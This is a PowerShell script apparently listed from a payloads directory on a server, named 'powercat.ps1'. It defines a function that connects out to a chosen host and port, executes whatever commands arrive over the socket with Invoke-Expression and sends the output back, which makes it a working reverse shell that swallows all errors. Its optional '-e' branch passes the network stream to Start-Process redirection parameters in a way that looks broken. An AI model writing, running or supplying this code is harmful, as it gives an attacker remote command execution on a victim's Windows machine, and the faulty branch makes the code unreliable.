| Current Path : /opt/payloads/ |
| Current File : //opt/payloads/powercat.ps1 |
function powercat {
param([string]$c,[int]$p,[switch]$e)
try {
$client = New-Object System.Net.Sockets.TCPClient($c,$p)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
if ($e) {
$process = Start-Process powershell -ArgumentList "-nop -e `$([Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes((iex -c `$input))))" -PassThru -RedirectStandardInput $stream -RedirectStandardOutput $stream -RedirectStandardError $stream
} else {
$writer = New-Object System.IO.StreamWriter($stream)
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0) {
$data = [Text.Encoding]::ASCII.GetString($bytes,0,$i)
$result = (Invoke-Expression -Command $data 2>&1 | Out-String)
$writer.WriteLine($result)
$writer.Flush()
}
}
} catch {}
}